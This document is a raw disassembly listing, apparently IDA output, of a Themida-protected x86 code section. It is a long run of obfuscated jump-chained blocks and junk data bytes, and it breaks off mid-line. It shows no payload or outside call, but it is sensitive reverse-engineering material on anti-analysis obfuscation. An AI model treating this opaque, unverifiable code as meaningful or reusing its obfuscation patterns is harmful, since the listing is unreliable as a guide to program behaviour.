loc_550283: ; CODE XREF: Themida_:0054BA77j mov [esp], esp sub esp, 4 mov [esp], eax push ebx mov ebx, 0DB0315Ch or ebx, 47F001C9h add ebx, 0E1E849C9h mov eax, 31D87BA2h xor eax, ebx pop ebx add [esp+4], eax mov eax, [esp] jmp loc_546FDB ; --------------------------------------------------------------------------- dw 0B951h dd 10360936h, 12DF181h, 0C98140C6h, 450A130Fh, 17E9D1F7h dd 5DFFFF6Fh, 95409545h, 867AED81h, 0E889870Ch, 0FF6C98E9h dd 0B25266FFh, 1A57E997h, 0D8280000h, 0C098B753h, 0C78008EFh dd 0C0C7FED8h, 0D7F605EFh, 0C005EFC0h, 0F78008E7h, 5BF80072h dd 0FFBE74E9h, 242C33FFh, 33242C31h, 248B242Ch, 241C8924h dd 42474FFh, 0FFDAB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_550321: ; CODE XREF: Themida_:00548AB7j push esp jmp loc_54FADE ; --------------------------------------------------------------------------- db 0B2h dd 0D588519Eh, 0EA88D5F6h, 0BFC28059h, 0FFE0A1E9h db 0FFh ; --------------------------------------------------------------------------- loc_550339: ; CODE XREF: Themida_:0054BA5Aj pop ebx add esp, 4 xchg ecx, [esp] pop esp jmp loc_54E008 ; --------------------------------------------------------------------------- dw 895Ch dd 85B5240Ch, 0FEE7B551h, 0D9A3E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550356: ; CODE XREF: Themida_:00549BFCj mov esp, [esp] jmp loc_54FAAD ; --------------------------------------------------------------------------- dw 0EA81h dd 0CB21DAB5h, 495AD189h, 49ADF181h, 0D1F74912h, 644DE181h dd 0E98128B9h, 0FC5A3DD8h, 51E9C801h, 66000010h, 6660152Dh dd 566E829h, 2C8B6015h, 4C48324h, 2A5C6866h, 243C8966h dd 0FDFAE953h, 0FF51FFFFh, 59042474h, 5C24048Fh, 7DAD68h dd 24348900h, 1138FB68h, 0CD3AE973h, 8B66FFFFh, 8957240Ch dd 8EA68E7h, 34890000h, 6CBA5224h, 501D5512h, 8904EC83h dd 0BEE9243Ch, 59FFFFE2h, 0FF9CCAE9h, 5AD129FFh, 0FA3CEE2Dh dd 0E8DDE94Eh, 34FFFFFFh, 240C8B24h, 0FF6E11E9h, 0B256B5FFh dd 0B7B5518Dh, 0F8E9EA28h, 0BBFFFFBDh, 4, 0CBE9DF01h, 89FFFFB4h dd 0B0682414h, 0E900001Bh, 0FFFF81A2h, 68D831ADh, 632Dh dd 52240C89h, 0C67760BAh, 6148B95Ah, 0A6E99048h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_55043F: ; CODE XREF: Themida_:0054D832j mov ebx, esp push eax mov eax, 6CD15B10h add eax, 0D294815h jmp loc_54879C ; --------------------------------------------------------------------------- db 0C1h, 0E3h, 2 dd 2414F753h, 1C3835Bh, 0FFD474E9h, 0AAEB81FFh, 0FF0E215Dh dd 24E92434h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55046F: ; CODE XREF: Themida_:0055114Ej xor [esp], ebp push dword ptr [esp] pop edx add esp, 4 push eax push edx pop eax mov edx, [esp] add esp, 4 push 32EFh mov [esp], ecx jmp loc_547809 ; --------------------------------------------------------------------------- loc_550492: ; CODE XREF: Themida_:0054B6E4j push esp pop esi jmp loc_549C90 ; --------------------------------------------------------------------------- db 57h, 68h, 79h dd 5F391B2Bh, 0B10EE94Fh, 968FFFFh, 8B22C800h, 0C483240Ch dd 8BC80104h, 8951240Ch, 4C181E1h, 83000000h, 0C8704C1h dd 0A6E95C24h, 2DFFFFECh, 5D145EEAh, 80C7E95Fh, 0E989FFFFh dd 0A2C6815Dh, 816BFC3Ah, 6C6AC1EEh, 0E9CE0113h, 1E4Eh dd 405h, 68565700h, 652A7FC6h, 2E6C15Eh, 0FF7D4EE9h, 6FE952FFh db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550507: ; CODE XREF: Themida_:0054EF2Aj pop edi sub esp, 4 mov [esp], edx mov edx, edi mov eax, edx pop edx mov edi, [esp] add esp, 4 mov ebp, [esp] add esp, 4 push ebp push 16B8h jmp loc_5519C7 ; --------------------------------------------------------------------------- loc_550530: ; CODE XREF: Themida_:0054F1B6j mov [esp], esi push 2EEE20E0h pop esi sub esi, 619A7287h add esi, 1 jmp loc_54DB10 ; --------------------------------------------------------------------------- db 52h dd 0FD5478BAh, 0E9D38920h, 0FFFFA7B8h ; --------------------------------------------------------------------------- loc_550554: ; CODE XREF: Themida_:005512FBj and al, 0AEh xor al, 3Dh or cl, al pop eax dec cl jmp loc_551134 ; --------------------------------------------------------------------------- loc_550562: ; CODE XREF: Themida_:0054E6C6j add esp, 4 push ecx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push ebx mov ebx, 4 jmp loc_54E352 ; --------------------------------------------------------------------------- dd 0B083C181h, 0CE01AD9Ah, 2DFE9h, 240C8B00h, 0FF749CE9h dd 74FF57FFh, 0CEE90424h, 0F7000018h, 0CC9FE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5505BE: ; CODE XREF: Themida_:0054BB86j push ecx jmp loc_54E4CA ; --------------------------------------------------------------------------- dd 8353F581h, 0E8010483h, 2C0835Dh, 0E9240487h, 0FFFFA357h dd 0F788CE88h, 0C3ECE95Ah, 0C481FFFFh, 4, 4EC81h, 69E90000h dd 66FFFFB6h, 6824048Bh, 0B3Ch, 0E9240C89h, 0FFFFD7B9h ; --------------------------------------------------------------------------- loc_550604: ; CODE XREF: Themida_:0054A404j sub edx, 7B3E9404h sub esi, edx pop edx push dword ptr [esp] pop ebx add esp, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebx jmp loc_548356 ; --------------------------------------------------------------------------- dd 0F708EEC1h, 0A2DFE9D6h, 0C481FFFFh, 4, 0FCE9D5F6h, 0BF000010h dd 7E191C34h, 5DAAB951h, 0C3810E21h, 45F21D05h, 0EB81CB01h dd 45F21D05h, 83240C8Bh, 0FB2904C4h, 0FFFDFCE9h, 2434FFFFh dd 5854505Fh, 405h, 4C08300h, 5C240487h, 4C481h, 90E90000h dd 87000000h, 0F787243Ch, 51E268h, 24348900h, 0FF7F54E9h db 0FFh ; --------------------------------------------------------------------------- loc_550695: ; CODE XREF: Themida_:0054DCF4j shl eax, cl push ebx mov ebx, esp add ebx, 4 push eax jmp loc_549290 ; --------------------------------------------------------------------------- loc_5506A6: ; CODE XREF: Themida_:005493A9j add ecx, 4 jmp loc_54C324 ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0BE9815Ch, 0C1253D5Ah, 0C3E902E9h, 81000007h, 0A66EFFC6h dd 5EF0317Ch, 0F66C331h, 686600B6h, 896645D4h, 15E92404h db 68h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5506DF: ; CODE XREF: Themida_:0054AE61j add esp, 4 jmp loc_55267F ; --------------------------------------------------------------------------- aItphU db '‰âPhµU',0 dw 8900h dd 0DD68243Ch, 5F66AA1Fh, 7853E781h, 0DFF71D3Ch, 1855C781h dd 30E90428h, 8FFFFFD6h, 0E1E94047h, 0E9FFFF67h, 0FFFF67DCh ; --------------------------------------------------------------------------- loc_550718: ; CODE XREF: Themida_:00551F8Bj xor eax, edi push dword ptr [esp] jmp loc_54917C ; --------------------------------------------------------------------------- loc_550722: ; CODE XREF: Themida_:00547C64j push edi mov edi, 4 jmp loc_54FA4D ; --------------------------------------------------------------------------- loc_55072D: ; CODE XREF: Themida_:00549786j inc edx push ecx jmp loc_54E4D9 ; --------------------------------------------------------------------------- dd 24048966h, 0FF67B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55073D: ; CODE XREF: Themida_:0054FEC3j xor eax, ebx mov ebx, [esp] add esp, 4 add eax, 1 sub eax, 7B052893h sub esp, 4 mov [esp], edi mov edi, 0C3194765h sub eax, edi pop edi jmp loc_54C197 ; --------------------------------------------------------------------------- db 0C1h dd 0D6F703EEh, 25F2F681h, 0F789C4C9h, 0A3BE565Eh, 90DFF38h dd 0C7815EF7h, 50AF6F51h, 886AEF81h, 0F8013122h, 0FFC291E9h dd 8BF000FFh, 54532414h, 4C3815Bh, 83000000h, 1C8704C3h dd 0EC835C24h, 69CDE904h, 0C059FFFFh, 5DE905E7h, 89FFFFC8h dd 74FF2414h, 8F5A0424h, 0E95C2404h, 0C9Eh, 8B243C87h dd 89662424h, 26E9240Ch, 5CFFFFE3h, 81E28952h, 4C2h, 0C1DEE900h dd 3CB1FFFFh, 0D001C180h, 80D1F6E9h, 0F92856E9h, 0E9C8285Bh dd 0FFFFB149h ; --------------------------------------------------------------------------- loc_5507F8: ; CODE XREF: Themida_:005478BFj mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 push eax push dword ptr [esp+4] jmp loc_54BD0A ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2414F751h, 55E98759h, 0F7243487h, 74FF56D6h, 8F5E0424h dd 875D2404h, 0B6F7E9E9h, 97B4FFFFh, 0FFA9C4E9h, 242C8BFFh dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 2474FF50h, 48F5804h dd 8B665C24h, 0A9E92404h, 5DFFFF75h, 32F2E581h, 0E5C103C3h dd 4FF58104h, 0E96FDF5Dh, 0FFFFA4C9h, 0D028C7B0h, 0E9C6285Ah dd 0FFFF9756h, 0ACEF8159h, 173675Eh, 0ACC781F7h, 0E973675Eh dd 1F7Dh, 81515A66h, 4ECh, 91ACE900h, 0BE0FFFFFh, 6A1868C8h dd 0C890000h, 663EE924h, 4BAFFFFh, 1000000h, 34875AD6h dd 0C7815C24h, 4, 0E902C783h, 0FFFFD568h, 5EAC14Ah, 5C0ABD55h dd 0E5C16E63h, 0FCD5E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5508E2: ; CODE XREF: Themida_:00552C41j xor [esp], ebx jmp loc_54ECFA ; --------------------------------------------------------------------------- loc_5508EA: ; CODE XREF: Themida_:0054F935j xor eax, ecx xor ecx, eax xor eax, ecx push ebx push 200Dh mov [esp], esp add dword ptr [esp], 4 jmp loc_54F94B ; --------------------------------------------------------------------------- dw 248Bh dd 240C8924h, 0FFFAF0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55090D: ; CODE XREF: Themida_:00551227j sub edx, 4 jmp loc_55199D ; --------------------------------------------------------------------------- db 55h, 0BDh, 4Bh dd 8177615Ch, 0A60F13C5h, 6BF58145h, 31AFD027h, 4AE95DEAh dd 80FFFFF6h, 0E98054F7h, 0E9F928F6h, 0FFFFB74Bh, 8858C588h dd 0FE64E9EFh, 565DFFFFh, 0E26C6FBEh, 4B85062h, 52D1912h dd 35C95A67h, 34FFC629h, 0C4835824h, 0E9F50104h, 0FFFF96EBh ; --------------------------------------------------------------------------- loc_550968: ; CODE XREF: Themida_:00549FE9j xor eax, ecx sub esp, 4 mov [esp], eax jmp loc_54B6D6 ; --------------------------------------------------------------------------- loc_550978: ; CODE XREF: Themida_:0054EAE9j xor ebx, 6C362476h dec ebx jmp loc_549883 ; --------------------------------------------------------------------------- dd 0FF656BE9h, 148B66FFh, 2C48324h, 0A0C18166h, 0D1016653h dd 0A0E98166h, 148B6653h, 55C06824h, 4890000h, 55E08924h dd 4C7EE1BDh, 0E9D5F76Ch, 0FFFFEA17h, 315E5B56h, 791E9C3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5509C2: ; CODE XREF: Themida_:0054C1E0j add eax, ecx mov ecx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp or [esp], ax pushf jmp loc_551A64 ; --------------------------------------------------------------------------- loc_5509DE: ; CODE XREF: Themida_:0054B093j xor [esp], ebp xor ebp, [esp] jmp loc_54B6F3 ; --------------------------------------------------------------------------- db 29h, 4, 24h dd 8124048Bh, 4C4h, 7B773500h, 0E0C12EB9h, 5C012D07h, 0C329E14Bh dd 0FFA880E9h, 81EA01FFh, 224AE6EAh, 242C8B1Ch, 4C481h dd 0D5E90000h db 64h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A1F: ; CODE XREF: Themida_:005498E9j push dword ptr [esp] jmp loc_54ABB7 ; --------------------------------------------------------------------------- db 80h dd 0B652FFC1h, 0F000E900h, 5A55FFFFh, 0FFAA18E9h, 48B66FFh dd 0BC97E924h, 4BEFFFFh, 1000000h, 0C1E95EF7h, 81000022h dd 5268B6C2h, 0D8BE5651h, 109D008h, 90CFE9F2h, 0D0F7FFFFh dd 0D539290Dh, 35D0F73Ah, 151F0988h, 48BC589h, 4C48324h dd 5D21C781h, 0EF01124Eh, 5D21EF81h, 0E95D124Eh, 0FFFF8176h dd 6624248Bh, 52C8BE0Fh, 0BE565A54h, 4, 3FD9C281h, 0F2013775h dd 799FBF57h, 0DFF77426h, 0FF8D5CE9h, 5DEF89FFh, 0BFE9F989h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550ABB: ; CODE XREF: Themida_:0054CC02j pop esp and eax, ecx mov ecx, [esp] jmp loc_54845F ; --------------------------------------------------------------------------- loc_550AC6: ; CODE XREF: Themida_:0054A0BCj pop eax xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp or eax, eax jnz loc_54EE7A push 1 mov edx, [esp] sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] push ecx push esp pop ecx push ebx mov ebx, 4 add ecx, ebx pop ebx add ecx, 4 jmp loc_54F239 ; --------------------------------------------------------------------------- dw 0C483h dd 0B60F5804h, 8734FFC0h, 81E78957h, 4C7h, 0AAC0E900h dd 815EFFFFh, 4C6h, 11BF5700h, 4F1FA41Ch, 52FFEF83h, 0FFE858E9h dd 24048FFFh, 4240481h, 0E9000000h, 0FFFF848Fh, 0E6808EB6h dd 7FF6805Bh, 83E9F388h, 0F6FFFFD6h, 0D2C580D5h, 0C8BE830h dd 4C48124h, 66000000h, 51665351h, 0EF888CB5h, 240C8B66h dd 2C481h, 0D7F60000h, 0FF6DDAE9h, 0A6E95CFFh, 8B000008h dd 0C481243Ch, 4, 2474FF52h, 48F5A04h, 91D8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B96: ; CODE XREF: Themida_:00547198j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_547B88 ; --------------------------------------------------------------------------- dw 0EEC1h dd 0E1EE8104h, 10D74ABh, 3C875EF7h, 24248B24h, 9C240401h dd 0FF6337E9h, 7E7C1FFh, 4033E781h, 0C7816A1Eh, 8DE1C004h dd 0FF9F64E9h, 8BB604FFh, 0C483240Ch, 52D82804h, 0E280FDB2h dd 0E258E9D3h, 0C483FFFFh, 4C28104h, 83000000h, 48904ECh dd 2B824h, 0C2010000h, 24143358h, 1D16E9h, 0BA525800h dd 4, 92E9D101h, 5CFFFF86h, 0E904EC83h, 0FFFFE5C0h, 24048B66h dd 80E68h, 24348900h, 0BB535E54h, 4, 555BDE01h, 0FF9ABFE9h dd 0B5BB53FFh, 0F744952Ch, 68DBF7D3h, 19B7h, 0BA241489h dd 21814910h, 68EBE955h, 83ADFFFFh, 0E900207Fh, 1381h ; --------------------------------------------------------------------------- loc_550C60: ; CODE XREF: Themida_:00552926j pop edi push ecx mov ecx, esp add ecx, 4 add ecx, 4 push edx jmp loc_55121F ; --------------------------------------------------------------------------- dw 0EE89h dd 13E9585Dh, 89FFFFBFh, 3BE92434h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C87: ; CODE XREF: Themida_:00550C9Dj sub esp, 4 jmp loc_54A04B ; --------------------------------------------------------------------------- loc_550C8F: ; CODE XREF: Themida_:0054A964j mov [esp], edi jmp loc_54E464 ; --------------------------------------------------------------------------- loc_550C97: ; CODE XREF: Themida_:0054C94Dj add esp, 4 mov edi, [esp] jmp loc_550C87 ; --------------------------------------------------------------------------- dw 1489h dd 0E95A5424h, 1F4Dh, 8108EAC1h, 0BB66D4C2h, 9893E979h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550CBA: ; CODE XREF: Themida_:00551B5Cj mov eax, [esp] add esp, 4 add eax, 3466471Ch jmp loc_54D2FC ; --------------------------------------------------------------------------- dw 0D301h dd 8B5B3389h, 0C4832434h, 20685304h, 0E9000044h, 0FFFFDD57h dd 9CC88566h, 0FF620BE9h, 242489FFh, 0FFAAAEE9h, 55C62DFFh dd 0D0010FBFh, 0BF55C605h, 0EC835A0Fh, 240C8904h, 0FFF145E9h dd 5EF201FFh, 0DA9EE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D12: ; CODE XREF: Themida_:0054F3BEj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 and eax, edi jmp loc_549FE0 ; --------------------------------------------------------------------------- loc_550D2F: ; CODE XREF: Themida_:005473BEj sub al, 3Eh add al, dh add al, 3Eh pop edx add bl, 5 add bl, 0A9h sub bl, 7Fh sub bl, al jmp loc_54802B ; --------------------------------------------------------------------------- dw 815Fh dd 5D5324E2h, 93C28164h, 29111A0Eh, 0DEF75AD6h, 0BD02E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D5E: ; CODE XREF: Themida_:00549FCFj sub esp, 4 mov [esp], edx push edi push edx mov edx, 2F3E6AD1h jmp loc_548B70 ; --------------------------------------------------------------------------- loc_550D73: ; CODE XREF: Themida_:00549135j xor edi, 52652089h xor edi, 61231B46h shr edi, 3 shr edi, 4 sub esp, 4 mov [esp], ecx mov ecx, 55FF1207h shr ecx, 8 jmp loc_548AF7 ; --------------------------------------------------------------------------- loc_550D9B: ; CODE XREF: Themida_:005513CFj xchg eax, ebp push ebp jmp loc_54D2D3 ; --------------------------------------------------------------------------- aUAsc db 'U½s–',0 aSsc db 'º™s–',0 db 0E9h, 0Dh, 0C9h dd 0E0C1FFFFh, 50B95102h, 29D3019Fh, 4DE959C8h, 5CFFFFACh dd 54242C89h, 45BE565Dh, 834C8F64h, 0E94EFFEEh, 0FFFF7FA2h dd 35C180h, 6999E9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550DE2: ; CODE XREF: Themida_:0054F978j push dword ptr [esp] jmp loc_54C9B8 ; --------------------------------------------------------------------------- dw 0ED81h dd 9C4EA0FCh, 78E9EA01h, 89FFFFB9h, 0FB8953C7h, 24348153h dd 24A80219h, 8324148Bh, 0F28104C4h, 24A80219h, 0E9241C8Bh dd 0FFFF7F27h, 24ED815Eh, 175B00Dh, 24C581DDh, 8175B00Dh dd 201426EDh, 0BE2E91Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_550E32: ; CODE XREF: Themida_:005515B6j add eax, 4 xchg eax, [esp] jmp loc_54C757 ; --------------------------------------------------------------------------- loc_550E3F: ; CODE XREF: Themida_:0054AA78j sub esi, 0F04608Ah add esi, 102A2EE4h mov edx, esi push dword ptr [esp] jmp loc_54C7CF ; --------------------------------------------------------------------------- loc_550E55: ; CODE XREF: Themida_:00547B96j mov [esp], ecx jmp loc_54E095 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 5E08950h, 4, 5004C083h, 42474FFh, 24048F58h, 2C2815Ch dd 33000000h, 14312414h, 7D74E924h, 0E981FFFFh, 2B2910B2h dd 0B7C8E955h, 0F508FFFFh, 0FFBFF5E9h db 0FFh ; --------------------------------------------------------------------------- loc_550E99: ; CODE XREF: Themida_:00548FFCj sub bl, 0F1h jmp loc_551503 ; --------------------------------------------------------------------------- loc_550EA1: ; CODE XREF: Themida_:005474BEj mov ecx, ebp pop ebp add edx, 1D2F5E8Fh jmp loc_54A3EB ; --------------------------------------------------------------------------- loc_550EAF: ; CODE XREF: Themida_:00546F56j push edi mov edi, esp jmp loc_5514A4 ; --------------------------------------------------------------------------- db 1 dd 24148BD7h, 5704C483h, 42474FFh, 81243C8Bh, 4C4h, 24048F00h dd 0E924248Bh, 0FFFF8F84h, 8B66C828h, 33E9240Ch, 89FFFF64h dd 7CE9243Ch db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550EEB: ; CODE XREF: Themida_:00547613j ; Themida_:0054C19Fj push 72DEh mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54EBA5 ; --------------------------------------------------------------------------- dw 0F781h dd 14A0747Ah, 58C73158h, 875FF901h, 665C240Ch, 6824048Bh dd 2AA4h, 54241489h, 4C2815Ah, 68000000h, 4F2Eh, 0FFC4DAE9h dd 48B66FFh, 4EC8324h, 0FFEFECE9h, 758BBFFFh, 0E7D15B05h dd 0D7F7DFF7h, 0C103EFC1h, 0EF8103EFh, 2D82BAAh, 0FF8B62E9h dd 0DB2BFFFh, 82E9046Ah, 8BFFFF7Eh, 0ACE92404h, 66FFFF92h dd 83240C8Bh, 0C4E904ECh db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_550F7B: ; CODE XREF: Themida_:005514B4j mov [esp], esi mov esi, esp sub esp, 4 mov [esp], ebx mov ebx, 4 add esi, 63D93720h add esi, ebx push edx push eax mov eax, 2C6C51C9h mov edx, 0E3951F89h add edx, eax jmp loc_547E00 ; --------------------------------------------------------------------------- db 81h, 0EBh, 4 dd 87000000h, 8EE9241Ch, 81000002h, 0D042DAE6h, 4EEC100h dd 3F52BB53h, 0BA521DE4h, 51A96EF3h, 8101C283h, 8B7DF4F2h dd 8BD32919h, 54502414h, 8324048Bh, 40504C4h, 0E9000000h dd 0FFFFE6F6h, 0F703E2C1h, 0F5EA81D2h, 89438B5Ah, 0B8505AD7h dd 31E5732h, 0E940D0F7h, 0FFFF6936h, 4C481h, 0F3280000h dd 0E9525A66h, 1197h ; --------------------------------------------------------------------------- loc_551018: ; CODE XREF: Themida_:0055222Bj not ecx xchg eax, ecx xchg eax, edx jmp loc_54AC6E ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 242C8B04h, 53E68956h, 180C2DBBh, 0D7C38116h, 1E9E7F3h dd 0C6835BDEh, 24348704h, 24048F5Ch, 2434FF5Ch, 81240C8Bh dd 4C4h, 0BE72E900h, 835AFFFFh, 43304C4h, 24043124h, 5C240433h dd 0FFC520E9h db 0FFh ; --------------------------------------------------------------------------- loc_551069: ; CODE XREF: Themida_:0054DA2Cj mov ebp, edx pop edx push edx mov edx, ebp jmp loc_54B037 ; --------------------------------------------------------------------------- dd 2434875Dh, 1036E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 1AFE30A0h shr edx, 4 add edx, 7B58016Eh add edx, 82F81B8Ch add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], edx mov edx, 48226865h sub eax, edx mov edx, [esp] jmp loc_546F9E ; --------------------------------------------------------------------------- dw 0E828h dd 6851A204h, 7F22h, 0B7241C89h, 0E969B5CEh, 0FFFFC555h dd 1C517AB9h, 59C8297Dh, 0B202552Dh, 5D80130h, 30B20255h dd 0FF8664E9h, 24148BFFh, 1EBA6857h, 0E9540000h, 0FFFF883Ch ; --------------------------------------------------------------------------- loc_5510F4: ; CODE XREF: Themida_:0054CC3Bj pop edx push 741Ch mov [esp], esi mov esi, esp push eax mov eax, 4 jmp loc_5513A7 ; --------------------------------------------------------------------------- dw 0E0D1h dd 136BE9h db 0 ; --------------------------------------------------------------------------- loc_551111: ; CODE XREF: Themida_:0054A96Ej push edi not dword ptr [esp] push dword ptr [esp] pop edi jmp loc_54E0D4 ; --------------------------------------------------------------------------- dw 5156h dd 92796368h, 0C060E97Eh, 1C2DFFFFh, 0E927403Eh, 4B4h ; --------------------------------------------------------------------------- loc_551134: ; CODE XREF: Themida_:0055055Dj sub cl, 51h sub dh, cl jmp loc_552138 ; --------------------------------------------------------------------------- loc_55113E: ; CODE XREF: Themida_:0054E73Cj push dword ptr [esp] pop ebp add esp, 4 xor [esp], ebp xor ebp, [esp] jmp loc_55046F ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 5BDD0104h, 31242C33h, 5BE9242Ch, 83000000h dd 0F78004C4h, 40B652BBh, 0EE80CEFEh, 5AF02845h, 0FF9C18E9h dd 240C89FFh, 0FF68ADE9h, 0D8E9C3FFh, 8300000Bh, 1C8904ECh dd 9565BB24h, 0DF29C5CBh, 9B7EE95Bh, 0D14FFFFFh, 0ADEF81E7h dd 0C14FF74Eh, 0EF8103E7h, 0B8BE0D4h, 875FFE01h, 24E92434h db 76h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5511BB: ; CODE XREF: Themida_:0054F116j pop ecx push edx jmp loc_54BE29 ; --------------------------------------------------------------------------- dw 2C33h dd 0FF665C24h, 0E99C240Ch, 0FFFF5D24h, 6AC5A12Dh, 14C581FFh dd 811D937Fh, 1739DEDh, 81C50112h, 1739DC5h, 14B95112h dd 291D937Fh, 48B59CDh, 4C48124h, 83000000h, 2C3302C5h dd 242C3124h, 0FFE236E9h, 68F681FFh, 0E9516E42h, 0FFFFA0CEh dd 57ED2D5Ah, 84E929A9h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55121F: ; CODE XREF: Themida_:00550C71j mov edx, esp add edx, 4 jmp loc_55090D ; --------------------------------------------------------------------------- dd 0E281585Dh, 26033F51h, 119AF281h, 0E2814B4Fh, 5B8858D4h dd 0FFE30FE9h, 14895CFFh, 81E28924h, 4ECh, 7595E900h, 0F130FFFFh dd 0FF63D0E9h, 0E9CE00FFh, 61h, 8306E5C1h, 0F58101EDh dd 541712Ah, 1947E950h, 0D0010000h, 9863C82Dh, 0E9575A25h dd 0FFFFC56Eh, 67CFE981h, 0CF292D9Bh, 2DEF8159h, 50291101h dd 0C689F889h, 24E95F58h, 29FFFFF4h, 58F2DF8h, 0E1E91ED4h dd 0FFFFFFB8h, 50592434h, 4055854h, 83000000h, 0BCE904E8h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5512BF: ; CODE XREF: Themida_:00547041j push ebx jmp loc_54834A ; --------------------------------------------------------------------------- db 59h, 28h, 0F0h dd 8324148Bh, 0EC8104C4h, 4, 0E9240C89h, 0FFFF88FBh ; --------------------------------------------------------------------------- loc_5512DC: ; CODE XREF: Themida_:005487C3j pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_549187 ; --------------------------------------------------------------------------- dd offset dword_4CEBCC+9B4h dd 111CE9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5512F2: ; CODE XREF: Themida_:005515CCj mov cl, 42h not cl not cl push eax mov al, 2Ch jmp loc_550554 ; --------------------------------------------------------------------------- dd 4BAh, 0E9D30100h, 0FFFFAFAEh, 0B122E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551312: ; CODE XREF: Themida_:005521C4j mov [esp], ebp mov ebp, 32F47384h add dword ptr [esp+4], 9594DAAh add [esp+4], ebp sub dword ptr [esp+4], 9594DAAh pop ebp mov eax, [esp] add esp, 4 push edx push 7C2114DDh mov edx, [esp] add esp, 4 jmp loc_54998D ; --------------------------------------------------------------------------- db 89h, 0F7h, 5Eh dd 0F75FF931h, 0A2F181D1h, 833EB41Fh, 0E981FFC1h, 9D5EBDB5h dd 0E959CB01h, 0FFFFAD12h, 87F1295Ah, 0C14E59CEh, 964606E6h dd 0FF7611E9h, 5BFC88FFh, 0FFD310E9h, 4C481FFh, 28000000h dd 0E9535AF0h, 0FFFF8968h ; --------------------------------------------------------------------------- loc_551390: ; CODE XREF: Themida_:0054E940j jz loc_5475DE push eax push edx push esi mov esi, esp add esi, 4 push edx jmp loc_548512 ; --------------------------------------------------------------------------- loc_5513A7: ; CODE XREF: Themida_:00551105j add esi, 6EF95FA6h jmp loc_54CC13 ; --------------------------------------------------------------------------- loc_5513B2: ; CODE XREF: Themida_:0054C83Bj sub edx, 23192E38h push ebx jmp loc_54B7A8 ; --------------------------------------------------------------------------- loc_5513BE: ; CODE XREF: Themida_:0054F5C2j push ecx mov ecx, edx mov ebx, ecx pop ecx jmp loc_552002 ; --------------------------------------------------------------------------- loc_5513C9: ; CODE XREF: Themida_:00547F32j pop edx shr eax, 0Eh xor eax, ecx jmp loc_550D9B ; --------------------------------------------------------------------------- dd 0A952E959h, 8B66FFFFh db 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_547BBC ; --------------------------------------------------------------------------- dd 8001ED80h, 0F58015CDh, 59EE30A0h, 758B6850h, 0EE90000h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551403: ; CODE XREF: Themida_:0054AA59j sub esp, 4 mov [esp], edi mov edi, 278C5324h sub edi, 61C535D5h not edi jmp loc_54A013 ; --------------------------------------------------------------------------- dw 0E789h dd 0FFB485E9h, 0F1F766FFh, 4B376866h, 24148966h, 0E99C5066h dd 0FFFF5ABCh, 24C4EF81h, 0C7816B50h, 33565FEDh, 5124348Bh dd 0C181E189h, 4, 4C181h, 0C870000h, 3C875C24h, 9D32E924h dd 489FFFFh, 5A8AE924h, 0E95BFFFFh, 0FFFFE0A6h, 0C281E289h dd 4, 785EBF57h, 0ACE90A18h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551483: ; CODE XREF: Themida_:00548FF5j pop esp push 2172h mov [esp], edx sub esp, 4 jmp loc_54C37D ; --------------------------------------------------------------------------- loc_551497: ; CODE XREF: Themida_:00549386j mov edi, esi sub esp, 4 jmp loc_5471D4 ; --------------------------------------------------------------------------- loc_5514A4: ; CODE XREF: Themida_:00550EB2j add edi, 4 add edi, 4 xchg edi, [esp] pop esp loc_5514B1: ; CODE XREF: Themida_:0054BCE0j sub esp, 4 jmp loc_550F7B ; --------------------------------------------------------------------------- db 50h, 0B4h, 7Dh dd 518BF480h, 